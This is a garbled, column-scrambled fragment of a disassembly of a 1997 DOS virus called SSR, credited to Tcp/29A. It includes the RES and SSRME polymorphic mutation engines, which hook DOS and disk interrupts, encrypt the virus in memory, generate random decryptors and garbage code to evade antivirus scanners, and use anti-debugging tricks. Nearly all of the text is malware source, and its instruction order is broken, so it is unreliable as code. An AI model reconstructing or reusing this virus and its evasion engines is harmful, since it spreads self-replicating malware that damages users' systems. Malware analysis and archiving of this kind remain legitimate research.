nop nop nop

ax,cs:caller_CS-100h es,ax di,cs:caller_IP-100h byte ptr es:[di],0F0h exit_i6

; Opcode 0F0? (Used by SND) ; No? then jmp

mov rcr jc

al,es:[di+1] al,1 encode_movax

; Get next byte ; Using AX? ; Yes? then jmp

mov mov xor mov mov jmp

byte ptr es:[di],0B4h al,es:[di+3] al,es:[di+2] es:[di+1],al es:[di+2],21CDh exit_i6

; ; ; ; ;

mov mov xor xor mov mov jmp

byte ptr es:[di],0B8h ax,es:[di+3] al,es:[di+2] ah,es:[di+2] es:[di+1],ax es:[di+3],21CDh exit_i6

; Encode MOV AX,xxxx ; Get value of AX ; Decrypt it

dw dw

0 0

add

sp,6

ax bx es mov mov mov mov mov

bx,cs:ofs_i21_2-100h ax,cs:seg_i21_2-100h es,ax ax,cs:_2bytes_21h-100h es:[bx],ax

si cx ax mov mov

si,offset(function_table)-100h cx,3

cmp je

ah,cs:[si] found_function

loop

l_cmp_function

cmp je

ax,4A00h found_function

nop nop nop Encode MOV AH,xx Get value of AH Decrypt it and store it Encode int 21h

nop encode_movax:

; and store it ; Encode int 21h ; Stupid JMP!!

nop exit_i6: pop di pop ax pop es iret caller_IP caller_CS int_ac: pushf push push push

pop es pop bx pop ax push push push

; Remove return address from stack

; Get real int 21h

; Restore original bytes

l_cmp_function: ; Function in table? ; Yes? then jmp

nop nop nop inc si dec ah

nop

; 4B00h? Exec? ; Yes? then jmp

nop nop cmp jne jmp

ah,0FEh cmp_abcd warning_msg

; 0FFh? ; No? then jmp ; Yes? then jmp

cmp jne jmp

ax,0AACDh cmp_4b53 warning_msg

; 0ABCDh? ; No? then jmp ; Yes? then jmp

cmp jne jmp

ax,4A53h cmp_cccc warning_msg

; 4B53h? ; No? then jmp ; Yes? then jmp

cmp jne jmp

ax,0CBCCh cmp_dead warning_msg

; 0CCCCh? ; No? then jmp ; Yes? then jmp

cmp jne jmp

ax,0DDADh exec_21h warning_msg

; 0DEADh? ; No? then jmp ; Yes? then jmp

jmp

jmp_21h

db db db

3Dh 4Eh 4Fh

call call int call call jmp

decrypt_memory set_original_i13h 0ABh encrypt_memory restore_i13h jmp_21h

call call

restore_i13h encrypt_memory

es ax bx mov mov mov mov

bx,cs:ofs_i21_2-100h ax,cs:seg_i21_2-100h es,ax es:[bx],0ACCDh ; int ACh in starting bytes of int 21h

cmp_abcd:

cmp_4b53:

cmp_cccc:

cmp_dead:

exec_21h: pop ax pop cx pop si popf nop function_table: ; Open ; Find-first ; Find-next

found_function: pop ax pop cx pop si popf

nop exit_21h:

pushf push push push

pop bx pop ax pop es popf retf

2

jmp_21h: pushf push push push

pop ax pop bx pop es push

push

push

pop es bx ax xor mov mov mov mov mov mov mov

cs mov mov ax mov mov push mov mov es xor

cs:flags-100h

; Save flags

bx,bx es,bx ; ES:=0 bx,es:[2Ah*4] ; Get & save int 2Ah cs:ofs_i2A_2-100h,bx bx,es:[2Ah*4+2] cs:seg_i2A_2-100h,bx es:[2Ah*4],offset(int_2A_2)-100h ; Set new int 2Ah es:[2Ah*4+2],cs

cs:saved_AX-100h,ax ax,offset(return_from_int)-100h ; Return address cs:saved_DI-100h,di cs:saved_ES-100h,es cs:flags-100h di,70h es,di

; DOS Segment

di,di

l_search_retf: cmp je

byte ptr es:[di],0CBh found_retf

jmp

l_search_retf

push

di

; Search for a RETF in DOS seg ; RETF? ; Yes? then jmp

nop nop nop inc di

found_retf:

ofs_i21_2 seg_i21_2

mov mov mov mov db dw dw

; The int will return to a RETF in the ; DOS segment -> It simulates that the ; call to the int was done by DOS di,cs:saved_ES-100h ; Restore registers es,di di,cs:saved_DI-100h ax,cs:saved_AX-100h 0EAh ; jmp far (exec int 21h) 0 0

return_from_int: call jmp nop restore_i2A_2: pushf

restore_i2A_2 int_2A_2

push push

es bx xor mov mov mov mov mov

bx,bx es,bx bx,cs:ofs_i2A_2-100h es:[2Ah*4],bx bx,cs:seg_i2A_2-100h es:[2Ah*4+2],bx

; ES:=0 ; Restore int 2Ah

pop bx pop es popf ret int_2A_2: nop nop pushf push push push

; Int 2Ah: Called at the end of an int 21h

es ax bx mov mov mov mov

bx,cs:ofs_i21_2-100h ax,cs:seg_i21_2-100h es,ax es:[bx],0ACCDh ; int 0ACh in starting bytes of int 21h

pop bx pop ax pop es popf retf _2bytes_21h ofs_i2A_2 seg_i2A_2 saved_AX saved_DI saved_ES flags

call 2

restore_i2A_2

dw dw dw dw dw dw dw

0 0 0 0 0 0 0

encrypt_memory: pushf es si cx ax xor mov mov mov mov mov mov l_encrypt_memory: push cx mov add ror xor inc si pop cx loop pop ax pop cx push push push push

si,si ax,40h es,ax cl,es:[6Ch] ; Get random number (clock) cs:mem_mask-100h,cl al,cl cx,int_24-virus_start

cl,al cs:[si],cl ; Encrypt code in memory byte ptr cs:[si],cl cs:[si],cl

l_encrypt_memory

pop si pop es popf ret decrypt_memory: pushf push si push cx push ax xor mov l_decrypt_memcode: push cx mem_mask equ mov xor rol sub inc si pop cx loop pop ax pop cx pop si popf ret

si,si cx,int_24-virus_start

byte ptr $+1 cl,0 cs:[si],cl byte ptr cs:[si],cl cs:[si],cl

; mov cl,mem_mask ; Decrypt code in memory

l_decrypt_memcode

int_21: pushf db dw dw

ofs_i21 seg_i21

9Ah 0 0

; call far

ret

iret set_original_i13h: pushf push ax push es xor mov mov mov mov mov mov mov mov mov pop es pop ax popf ret restore_i13h: pushf push push

ax es xor mov

; Unused!

ax,ax es,ax ; ES:=0 ax,es:[13h*4] ; Get int 13h cs:ofs_actual_i13-100h,ax ; Save it ax,es:[13h*4+2] cs:seg_actual_i13-100h,ax ax,cs:ofs_i13-100h es:[13h*4],ax ; Set original int 13h ax,cs:seg_i13-100h es:[13h*4+2],ax

ax,ax es,ax

; ES:=0

mov mov mov mov

ax,cs:ofs_actual_i13-100h es:[13h*4],ax ax,cs:seg_actual_i13-100h es:[13h*4+2],ax

; Restore int 13h

pop es pop ax popf ret ofs_i13 seg_i13 ofs_actual_i13 seg_actual_i13

dw dw dw dw

0 0 0 0

mov mov mov mov mov

ax,0B800h es,ax ; ES:=0B800 (text video segment) di,(6*80+15)*2 ; gotoxy(15,6) si,offset(msg_alarm)-100h cx,14 ; Number of msgs

di xor

bp,bp

mov cmp jz

al,cs:[si] al,0 msg_end

mov stosw

ah,15

jmp

l_msg_nextchar

cx shl mov sub mov

bp,1 cx,(80+15)*2 cx,bp ax,0F20h

rep

stosw

; Fill line with spaces

add loop xor mov mov xor

di,80*2 l_next_msg cx,cx bx,cx ax,1010h dx,dx

; Next line

warning_msg:

l_next_msg: push l_msg_nextchar: inc bp

; End of string? ; Yes? then jmp

nop nop nop ; Textcolor=white ; Put character on screen

inc si

msg_end: inc si push

cld pop cx pop di

l_change_colors: push di push bx mov mov call pop bx pop di int

di,0C8h bx,0Ah sound

10h

; AX=1010h : Set individual DAC regs. ; BX=0 -> Color 0

push push

inc di bx mov and cmp jne

dh

; Inc value for red

mov mov call jmp

di,12Ch bx,12Ch sound loop_change_colors

dl,dh dl,0Fh dl,1 loop_change_colors

nop nop nop

nop mov mov call loop_change_colors: pop bx pop di jmp

di,3E8h bx,12Ch sound

; Unused code ! ; ; ;

l_change_colors

sound: push push push push push

ax bx cx dx di mov out mov mov

al,0B6h 43h,al dx,14h ax,4F38h

; Get the timer ready

div di out mov out in

42h,al ; Send frecuency to timer al,ah 42h,al al,61h ; PC/XT PPI port B bits: ; 0: Tmr 2 gate ÍËÍDLE OR 03H=spkr ON ; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF mov ah,al or al,3 ; Speaker ON out 61h,al l_loop_sound2: mov

cx,0AF1h

loop

l_loop_sound1

l_loop_sound1: dec bx jnz mov out

pop pop pop pop pop ret

l_loop_sound2 al,ah ; Set Speaker to previous state 61h,al ; PC/XT PPI port B bits: ; 0: Tmr 2 gate ÍËÍDLE OR 03H=spkr ON ; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF

di dx cx bx ax

iret

; Unused!

msg_alarm

db

0

; Unused!

db db db db db db db db db db db db db db

' !!! ALARM WARNING DANGER APPROACHING !!!',0 ' Hacker-fucker TSR shit or Any Virus Detected !!!',0 ' Anyone who wants to fuck Revenge is Naivnij Man',0 ' With best Wishes to E.Kaspersky !',0 ' Now I''m CURELESS !!! SND Used !!! Rules !!!',0 'In future versions I will add :',0 ' 1. Protected Mode Decryptor [SF0rCE]',0 ' (Web,try to emul IT :)))) )',0 ' 2. UniversalAntiDetector',0 ' 3. Must Die: Lamers,Webs & other...',0 ' 4. And other BUGs,GLUKs & SHITs !',0 'Dis is Continue... Win95 & her lamers must die!',0 ' Searching... SEEK & DESTROY',0 ' There can be only one ...',0

db db db

0Ah,0Dh,'--------------------' 0Ah,0Dh,'--------------------' 0Ah,0Dh,'Orign:NUkE HiM A11 !',0

db db

'BIG NAWOROT',0 'BUGS INSIDE ',0

virus_end: SSR

ends

extrn extrn extrn

res_engine:near ssrme_engine:near mme_engine:near end

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

host

End of SSR disasm (c) 1997, Tcp/29A ([email protected]) - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Random Encryption Synthezator (RES), by SSR Disasm by Tcp/29A ([email protected])

Entry: DS:DX = code BX = runtime offset CX = number of bytes to encrypt Return: DS:DX = encryptor+code CX = size encryptor+code

.386p RES segment use16 assume cs:RES, ds:RES, es:RES, ss:RES org 0 RES_SIZE_DEC res_engine: start: call res_delta:

equ

300h

res_delta

; But it only needs 169h

pop pop push push push mov sub mov mov push

si sub si,3 ; Get delta-offset ax cs ax es ax,es ax,10h es,ax di,100h cx mov cx,offset(end_res)

nop push push pop cld

ds cs ds

pop pop mov push push

rep movsb ; Copy RES code to working area ds cx ax,offset(res_start+100h) es ax retf ; jmp res_start

res_start: pop mov mov

push

es si,100h ax,es add mov mov mov cx mov di,di al,90h

ax,(end_res-start+15)/16+1 es,ax ; Calculate base segment for decryptor cs:[si+runtime_ofs],bx cs:[si+code_length],cx cx,RES_SIZE_DEC

xor mov ; NOP cld rep stosb ; Fill with NOPs call init_masks mov cx,8 ; 8 instructions per decryptor xor di,di add di,si l_select_instructions: push cx call RES_get_random mov ah,0 push cx mov cl,5 shr al,cl ; AX in [0..7] shl ax,1 shl ax,1 ; AX:=AX*4 (4 bytes per instruction) pop cx push di push si add di,offset(buffer_decryptor) add si,offset(decryptor_table) add si,ax push ax mov ax,cs:[si] ; Select an instruction for decryptor mov cs:[di],ax ; and store it mov ax,cs:[si+2] mov cs:[di+2],ax

pop pop pop push push add add add push mov mov mov pop pop pop add pop

pop push mov mov l_encrypt_code: mov mov mov add encryptor

inc loop push push pop xor push

nop cld rep pop pop push pop pop

ax si di di si di,offset(buffer_encryptor) si,offset(encryptor_table) si,ax ax mov ax,cs:[si] ; Select the instruction for encryptor cs:[di],ax ; and store it ax,cs:[si+2] cs:[di+2],ax ax si di di,4 cx loop l_select_instructions call reverse_decryptor_table call make_encryptor cx cx bp,dx mov di,RES_SIZE_DEC cs:[si+code_CRC],0 al,ds:[bp] es:[di],al ah,0 cs:[si+code_CRC],ax db

; Make code CRC

8*4 dup(90h)

; Buffer for encryptor

inc di bp l_encrypt_code ds cs ds di,di si add si,offset(decryptor_code) mov cx,decrypted_code-decryptor_code

movsb si ds es ds xor cx add

; Copy decryptor to buffer

dx,dx

; DS:DX = Address of decryptor+code

cx,RES_SIZE_DEC ; Decryptor+encrypted code

retf db db db init_masks: push

0 'RandomEncryptionSynthezator',0 'ü S.S.R. 1996-97',0

si mov

cx,3

; Only first 3 instructions need a mask

l_next_mask: call

loop pop ret

RES_get_random mov byte ptr cs:[si+decryptor_table+3],al mov byte ptr cs:[si+encryptor_table+3],al add si,4 l_next_mask si

RES_get_random: pushf in al,40h ror al,1 xor al,53h popf ret

; Store mask ; Next inst.

; Get random number

make_encryptor: push push push pop push pop push in mov

es ds cs es cs ds si al,40h ; Get random number cx,8 mov di,offset(encryptor) add di,si add si,offset(buffer_encryptor) l_make_encryptor: rcr al,1 ; Add instruction to encryptor? jc add_instruction ; Yes? then jmp nop nop add si,4 loop_make_encryptor: loop l_make_encryptor jmp encryptor_done nop add_instruction: cld push cx mov cx,4 rep movsb pop cx jmp

; Store instruction loop_make_encryptor

encryptor_done: pop si pop ds pop es ret reverse_decryptor_table: push ax push bp push di push cx push bx mov cx,8/2 mov di,offset(buffer_decryptor)

add add l_reverse_table: mov mov mov mov mov mov mov add pop pop pop pop pop ret

di,si mov bp,si

bp,offset(end_buffer_dec)-4

; Point to last inst.

mov ax,cs:[di] ; Xchg instructions bx,cs:[bp] cs:[di],bx cs:[bp],ax ax,cs:[di+2] bx,cs:[bp+2] cs:[di+2],bx cs:[bp+2],ax sub bp,4 ; xchg next instruction di,4 loop l_reverse_table bx cx di bp ax

db

4

; Unused !!

decryptor_code: runtime_ofs equ word ptr $+1 mov bp,0 ; mov bp,runtime_ofs push 1100h+(90h+3Ch-20h) sub bp,offset(decryptor_code) mov di,offset(decryptor) add di,bp pop ax ; AX:=1100h+(90h+3Ch-20h) inc cs:[bp+n_decryptors] ; Inc # of tested decryptors mov cs:[bp+decryptor_ok],0 ; Decryptor not found mov cs:[bp+decrypting],0 ; Not decrypting mov cx,20h push es push ds add ax,cx push cs pop es push cs pop ds cld dec cx sub al,3Ch ; AL:=90h (NOP) rep stosb add al,3Ch ; AL:=0CCh (int 3) stosb cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested? jb create_random_decryptor ; Yes? then jmp nop nop mov ax,cs:[bp+n_decryptors] ; Don't use a random number. ; n_decryptors will be increased, so it'll ; find the correct decryptor. jmp create_decryptor nop db create_random_decryptor: in al,40h

66h

; Unused!? (antidebug??)

; Get random number

create_decryptor: mov cs:[bp+decryptor_id],al ; Why? Never use it!! mov cx,8 mov si,offset(buffer_decryptor) add si,bp mov di,offset(decryptor) add di,bp l_make_random_decryptor: rcr al,1 ; Add instruction to decryptor? jc add_inst_dec ; Yes? then jmp nop nop add si,4 next_dec_instruction: loop l_make_random_decryptor jmp done_random_decryptor nop add_inst_dec: cld push mov rep pop jmp

cx cx,4 movsb ; Add instruction cx next_dec_instruction

done_random_decryptor: mov di,RES_SIZE_DEC add di,cs:[bp+runtime_ofs] code_length equ word ptr $+1 mov cx,0 mov bx,cs:[bp+code_CRC] l_random_decryptor: mov dl,cs:[di] decryptor

mov sub cmp je nop nop loop_decryptor: inc loop pop pop

db

8*4 dup(90h)

mov al,dl ah,0 bx,ax cs:[bp+decrypting],1 decrypt_byte

; Calculate CRC ; Decrypting? ; Yes? then jmp

di l_random_decryptor ds es cmp bx,0 jnz decryptor_code jmp found_decryptor

nop buffer_decryptor db end_buffer_dec:

8*4 dup(90h)

code_CRC decryptor_ok decrypting

0 0 0 0Bh 0Bh 0Bh

dw db db db db db

; mov cx,code_length

; Unused! ; Unused! ; Unused!

; CRC OK? ; No? then jmp ; Yes? then jmp

decryptor_id n_decryptors

db dw

0 0

decrypt_byte: mov jmp

cs:[di],dl loop_decryptor

; Store decrypted byte

found_decryptor: cmp cs:[bp+decryptor_ok],1 je code_decrypted nop nop mov cs:[bp+decrypting],1 mov cs:[bp+decryptor_ok],1 push es push ds jmp done_random_decryptor code_decrypted: jmp anti_disasm1 nop db 69h anti_disasm1: cli push 3545h jmp anti_disasm2 nop db 0EAh anti_disasm2: cli inc sp mov ax,cs:[bp] xor ax,bx cld scasb inc sp mov ax,4202h sub sp,2 pop ax cmp ax,3545h jne decrypted_code

; Code decrypted? ; Yes? then jmp

; Decrypt code

; Antidebug

; Antidebug

; Is it being traced? ; Yes? then jmp ; BUG! Should jump when not traced

nop

mov inc and rep xor pushf

push xchg les xor dec

nop xor ax,3445h es,ax byte ptr cs:[0Dh] cx,0Fh scasb ax,cs:[si] pop ax ; Get flags and ah,0FEh ; Clear trace flag ax bx,cx bx,ds:[2Bh] popf ; Trace flag off eax,eax mov dr7,eax ; Clear all breakpoints byte ptr cs:[0Dh] call skip_reset db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset) dw 0FFF0h ; but never reach here because in 'skip_reset'

dw

0F000h

skip_reset: pop ax decrypted_code: encryptor_table: xor byte add byte sub byte nop ror byte nop rol byte nop neg byte nop not byte nop neg byte

;

it does a pop of the return address

; End of decryptor code

ptr es:[di],0 ptr es:[di],0 ptr es:[di],0 ptr es:[di],1 ptr es:[di],1 ptr es:[di] ptr es:[di] ptr es:[di]

decryptor_table: nop xor dl,0 nop sub dl,0 nop add dl,0 nop nop rol dl,1 nop nop ror dl,1 nop nop neg dl nop nop not dl nop nop neg dl buffer_encryptor db

8*4 dup(90h)

end_res: RES public

; ; ; ; ; ; ; ; ; ; ;

ends res_engine end

End of RES disasm (c) 1997, Tcp/29A ([email protected]) - -[SSRME.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Stainless Steel Rat Mutation Engine v2.00beta (SSRME 2.0b), by SSR Disasm by Tcp/29A ([email protected]) Entry: DS:DX = code to encrypt BP = runtime offset

; CX = total bytes to encrypt ; Return: ; DS:DX = decryptor + encrypted code ; CX = size decryptor + encrypted code

SSRME200b segment use16 assume cs:SSRME200B, ds:SSRME200B, es:SSRME200B, ss:SSRME200B org 0 SSRME_DEC_SIZE SSRME_SIZE

= =

5000 end_ssrme200b - start

call

ssrme_delta

sub

si,3

ssrme_engine: start: ssrme_delta: pop si pop ax push push push

push nop push push pop ds cld

cs ax es mov sub mov mov cx mov

; Get delta offset

ax,es ax,10h es,ax di,100h cx,SSRME_SIZE

ds cs

rep

movsb

; Copy engine code to working area

mov es ax retf

ax,offset(start_ssrme)+100h

pop mov mov add mov mov cx bx mov mov mov

es si,100h ax,es ax,(end_ssrme200b-start+15)/16+1 es,ax cs:[si+ofs_src],dx

pop ds pop cx push push

; jmp start_srme

start_ssrme:

push push

l_gen_reg_table: mov cmp je

cx,8 al,0 bp,offset(register_table) ; Create a table with [0,1,2,3,5,6,7] cs:[bp+si],al al,4 ; Register SP? skip_4 ; Yes? then jmp (skip it)

inc bp skip_4: inc al push

loop si

l_gen_reg_table

mov add call and mov mov add call and mov add mov xchg mov loop

cx,8 si,offset(register_table) ; Xchg registers in register table SSRME_get_random al,7 ah,0 ; AX in [0..7] bp,si bp,ax ; Reg #1 SSRME_get_random ax,7 ; AX in [0..7] di,si di,ax ; Reg #2 al,cs:[bp] al,cs:[di] ; Xchg registers cs:[bp],al l_xchg_regs

mov mov xor

cx,SSRME_DEC_SIZE al,90h ; NOP di,di

rep xor xor

stosb di,di bp,bp

l_xchg_regs:

pop si

cld

l_next_register: push bp mov add stosw call mov call stosw call mov call stosw call pop bp inc cmp jne mov l_main_shit: call call call push cx mov l_gen_regreg: call loop pop cx call call loop mov mov cld stosw push ax push bx push cx

; Fill with NOPs

ax,0B866h ; Generate MOV ext-reg,xxxxxxxx ah,byte ptr cs:[bp+si+register_table] ; Select reg SSRME_get_random ah,al SSRME_get_random

; Generate double-word

SSRME_get_random ah,al SSRME_get_random generate_garbage_calljmp bp bp,8 l_next_register cx,5

; Next register ; Last register? ; No? then jmp

generate_garbage generate_call_jmp generate_jxx cx,5 generate_op_regreg l_gen_regreg generate_int generate_call_addsp l_main_shit cs:[si+ofs_start_dec],di ax,60CDh ; Generate INT 60h

push push push push push push push push

dx bp di ax ax ax ax es xor mov mov mov add mov

ax,ax es,ax es:[60h*4+2],cs ax,offset(int_60h) ax,si es:[60h*4],ax

; ES:=0 ; Set new int 60h

pop es push push

xor es ax retf

ax,ax

; Exec generated routine until int 60h

add mov mov mov mov mov mov

sp,6 ; Remove return address+flags from stack ax,si si,100h cs:[si+value_di],di ; Save reg values cs:[si+value_ax],ax cs:[si+value_bx],bx cs:[si+value_bp],bp

int_60h:

pop pop pop pop pop pop pop pop pop pop

ax ax ax ax di bp dx cx bx ax

call and add mov mov shl push ax mov add mov mov mov l_remove_registers: cmp je cmp jne

SSRME_get_random al,7 ; AL in [0..7] al,80h ; AL in [80h...87h] cs:[si+opindex],al ah,0 al,1 ; AL in [0, 2,..., 14] bx,offset(register_combination) bx,ax ax,cs:[bx+si] ; Select a register combination bx,offset(register_table) cx,8 ; Remove register from register table ; because it is used al,cs:[bx+si] remove_register ah,cs:[bx+si] dont_remove_register

remove_register: mov dont_remove_register: inc bx loop pop ax push ax

byte ptr cs:[bx+si],0

l_remove_registers

push

mov add mov mov add mov mov dx call mov

bx,offset(register_combination) bx,ax ax,cs:[bx+si] ; Previously selected reg combination bh,al bh,40h ; INC register cs:[si+inc_inst],bh cs:[si+index_reg],al

add bx mov add mov cmp je call mov mov call add jmp

bx,SSRME_DEC_SIZE

call mov

get_register_value cx,dx

pop mov sub mov mov mov mov

bx ; Runtime offset ax,bx ax,cx ; Runtime ofs - reg.values cs:[si+index_inm],ax ; [index_reg +/- inmediate] cx,8 bx,offset(end_decryptor-4) di,cs:[si+ofs_start_dec]

call mov call and call call call call call loop

SSRME_get_random dl,al ; Value for mask SSRME_get_random ax,3 ; AX in [0..3] (select operation) generate_dec_instruction generate_enc_instruction generate_garbage generate_call_jmp generate_jxx l_gen_operation

cx mov mov cx

bp,cs:[si+ofs_src] bx,SSRME_DEC_SIZE

mov mov

al,ds:[bp] es:[bx],al

db

8*4 dup(90h)

inc

bx

get_register_value cs:[si+value_index],dx

pop dx pop ax pop bx push

bx,offset(register_combination) bx,ax ax,cs:[bx+si] ; Previously selected reg combination al,ah ; Using same register? using_1reg ; Yes? then jmp get_register_value ; Get reg1 value cx,dx al,ah get_register_value ; Get reg2 value cx,dx ; Add values calc_index_inm

nop using_1reg: ; Get reg value

calc_index_inm:

l_gen_operation:

pop cx push

push cld l_crypt:

encryptor: end_decryptor:

; NOP

inc bp loop mov

l_crypt al,cs:[si+inc_inst]

pop add mov

dx ; Runtime ofs dx,cs:[si+value_index] al,81h ; Generate CMP index,ofs end decryption

mov add

al,cs:[si+index_reg] al,0F8h

mov

ax,dx

mov

ax,374h

; Generate JE $+5

mov

al,0E9h

; Generate JMP start decryptor

mov sub

ax,cs:[si+ofs_start_dec] ax,di

cmp jae call jmp

di,SSRME_DEC_SIZE-100 jmp_code generate_garbage fill_length

mov

al,0EBh

mov sub dec

ax,SSRME_DEC_SIZE ax,di ax ; jmp to start of encrypted code

cmp jae call

di,SSRME_DEC_SIZE end_ssrme SSRME_get_random

jmp

l_fill_buffer

; Generate INC index

stosb

stosb

stosb stosw stosw stosb

dec ax dec ax stosw fill_length:

jmp_code: cld ; Generate JMP xx

stosb

stosb l_fill_buffer: ; Buffer filled? ; Yes? then jmp

stosb

end_ssrme: push pop ds

es xor

dx,dx

; DS:DX -> decryptor + encrypted code

add retf

cx,SSRME_DEC_SIZE ; CX = size decryptor + encrypted code

db db dw db db

80h 80h 0 0 0

pop cx

decryption_inst: opindex index_inm _mask inc_inst

SSRME_get_random: pushf in ror xor

al,40h al,1 al,53h

; Get random number

popf ret generate_garbage: cld push bx call and cmp je cmp je cmp je cmp jne jmp generate_operation: mov stosb mov call and shl add mov stosb mov call and add stosb call mov call stosw call mov call stosw ret_gen_garbage: pop bx ret

SSRME_get_random al,7 ; al,1 ; generate_1byte ; al,2 ; generate_antidisasm ; al,3 ; generate_conditional_jmp; al,4 ; generate_operation ; generate_jmp ;

al,66h

AL in [0..7] Generate 1 byte instruction? Yes? then jmp Generate antidisasm code? Yes? then jmp Generate conditional jump? Yes? then jmp Generate JMP? No? then jmp? Yes? then jmp

; Extended registers

bx,offset(op_reg_inm_table) SSRME_get_random ax,7 ; AX in [0..7] al,1 ; Select table entry bx,ax al,cs:[bx+si] ; Generate operation ah,cs:[bx+si+1] select_random_reg al,7 al,ah SSRME_get_random ah,al SSRME_get_random

; AL in [0..7] ; Select register ; Generate double word

SSRME_get_random ah,al SSRME_get_random

generate_1byte: mov call and add mov

bx,offset(_1byte_table) SSRME_get_random ax,0Fh ; AX in [0..0Fh] bx,ax al,cs:[bx+si] ; Select random instruction

jmp

ret_gen_garbage

stosb

generate_antidisasm: mov call and add mov push ax mov stosw

bx,offset(antidisasm_table) SSRME_get_random ax,3 ; AX in [0..3] bx,ax ; Select table entry al,cs:[bx+si] ax,1EBh

; Generate JMP $+1

pop

ax

jmp

ret_gen_garbage

; Store anti-disasm

stosb

generate_conditional_jmp: call SSRME_get_random rcr al,1 jc generate_cmc rcr al,1 jc generate_clc_jnc mov al,0F9h stosb mov al,72h stosb jmp generate_ofs_short nop generate_clc_jnc: mov stosb mov stosb jmp nop

; ; ; ; ;

Generate CMC instruction? Yes? then jmp Generate CLC+JNC? Yes? then jmp Generate STC

; Generate JC

al,0F8h

; Generate CLC

al,73h

; Generate JNC

generate_ofs_short

generate_cmc: rcr jc mov

al,1 generate_clc_cmc_jc al,0F9h

; Generate CLC+CMC+JC? ; Yes? then jmp ; Generate STC

mov

al,0F5h

; Generate CMC

mov

al,73h

; Generate JNC

jmp

generate_ofs_short

stosb stosb stosb nop generate_clc_cmc_jc: mov stosb mov stosb mov stosb jmp nop generate_ofs_short: push cx push ax push inc di call pop mov sub mov dec cl mov pop ax pop cx jmp

al,0F8h

; Generate CLC

al,0F5h

; Generate CMC

al,72h

; Generate JC

generate_ofs_short

; Stupid jmp!!

di

; Save position

gen_never_executed_code ax ; Restore position cx,di ; Calculate jmp offset cx,ax bp,ax es:[bp],cl

ret_gen_garbage

; Store offset

generate_jmp: mov

al,0EBh

jmp

generate_ofs_short

; Generate JMP xx

stosb

generate_call_jmp: cld push ax push cx mov stosb push inc di inc di mov l_gen_call_shit: call loop mov stosb push inc di inc di mov l_gen_jmp_shit: call loop mov stosb pop mov sub sub mov add mov pop sub sub mov pop cx pop ax ret

al,0E8h

; Generate CALL xxxx

di

; Save offset position

cx,5 generate_garbage l_gen_call_shit al,0E9h

; Generate JMP xxxx

di

; Save offset position

cx,5 generate_garbage l_gen_jmp_shit al,0C3h bp ax,di ax,bp ax,2 es:[bp],ax bp,2 ax,bp bp ax,bp ax,2 es:[bp],ax

generate_garbage_calljmp: push cx call SSRME_get_random and ax,3 mov cx,ax inc cx inc cx l_gen_garbage_calljmp: push cx call generate_garbage call generate_call_jmp pop cx loop l_gen_garbage_calljmp pop cx ret gen_never_executed_code: push ax push cx

; Generate RET ; Restore offset position ; Calculate JMP offset

; Store offset

; Restore offset position ; Calculate CALL offset ; Store offset

; CX in [0..3] ; CX in [2..5]

call rcr jc and inc mov mov cld l_generate1_8shit: call stosb loop jmp nop

SSRME_get_random al,1 ; gen_sim_decr ; al,7 ; al ; ah,0 cx,ax ;

Generate a simulated decryptor inst? Yes? then jmp AL in [0..7] AL in [1..8] Generate 1 to 8 bytes of shit

SSRME_get_random l_generate1_8shit ret_no_exec

gen_sim_decr: cld mov

al,2Eh

; Generate CS: prefix

mov

al,80h

; byte ptr [bx+si],inm8

bx mov call and add mov

bx,offset(decrypt_inst) SSRME_get_random ax,7 ; AX in [0..7] bx,ax ; Select operation al,cs:[bx+si] ; BUG! Only 4 operations in table, not 8

stosb stosb push

stosb call stosb call

SSRME_get_random

; Generate simulated mask

SSRME_get_random

; Generate 2 bytes of shit

call

SSRME_get_random

stosb stosb pop bx ret_no_exec: pop cx pop ax ret select_random_reg: push bx push si push ax call mov and add mov mov pop ax mov pop si pop bx ret generate_call_addsp: cld push ax push cx mov stosb push

SSRME_get_random ah,0 al,7 ; AX in [0..7] si,ax al,byte ptr cs:[si+register_table] bx,ax al,bl

al,0E8h

; Generate CALL xxxx

di

; Save offset position

inc di inc di call pop mov sub

gen_never_executed_code bp ; Restore offset position ax,di ; Calculate jump offset ax,bp

mov mov

es:[bp],ax cx,4

call loop mov

generate_garbage l_shit_csp ax,0C483h ; Generate ADD SP,2

mov

al,2

dec ax dec ax ; Store jump offset

l_shit_csp:

stosw stosb pop cx pop ax ret generate_op_regreg: cld push ax push cx mov stosb call rcr jc call and mov add mov stosb mov call add call mov shl add xchg stosb ret_gen_regreg: pop cx pop ax ret generate_op2bytes: call and shl mov add mov stosb mov call add stosb jmp

al,66h

; Extended registers

SSRME_get_random al,1 ; Generate XXX reg1,reg2 ? generate_op2bytes ; No? then jmp SSRME_get_random ax,7 ; AX in [0..7] bx,offset(operation_table) bx,ax ; Select operation from table al,cs:[bx+si] ah,0C0h ; Generate reg source and destination select_random_reg ah,al select_random_reg cl,3 al,cl ah,al ah,al

SSRME_get_random ax,7 ; AX in [0..7] ax,1 ; AX:=AX*2 bx,offset(_2bytes_table) bx,ax al,cs:[bx+si] ; Operation ah,cs:[bx+si+1] ; Select destination register select_random_reg al,ah ret_gen_regreg

generate_jxx: cld push push

cx ax mov call and add

ah,70h SSRME_get_random al,0Fh al,ah ; AL in [70h..7Fh] -> Conditional jumps

push

di

call pop mov sub

generate_call_jmp bp ; Restore offset position ax,di ; Calculate jmp offset ax,bp

mov

es:[bp],al

bx ax call and mov add mov mov

SSRME_get_random ax,3 ; AX in [0..3] bx,offset(int_table) bx,ax al,0CDh ; INT xx ah,cs:[bx+si] ; Get int number

stosb ; Save offset position

inc di

dec al ; Store offset

pop ax pop cx ret generate_int: cld push push

stosw pop ax pop bx ret get_register_value: push ax push bx cmp je cmp je cmp je xor jmp nop

al,3 get_bx al,5 get_bp al,6 get_si bx,bx get_value

get_bx: mov jmp

bx,4 get_value

mov jmp

bx,6 get_value

mov

bx,2

nop get_bp:

nop get_si: get_value:

; ; ; ; ; ; ;

BX ? Yes? BP ? Yes? SI ? Yes? else

then jmp then jmp then jmp DI

mov

dx,word ptr cs:[bx+si+value_registers]

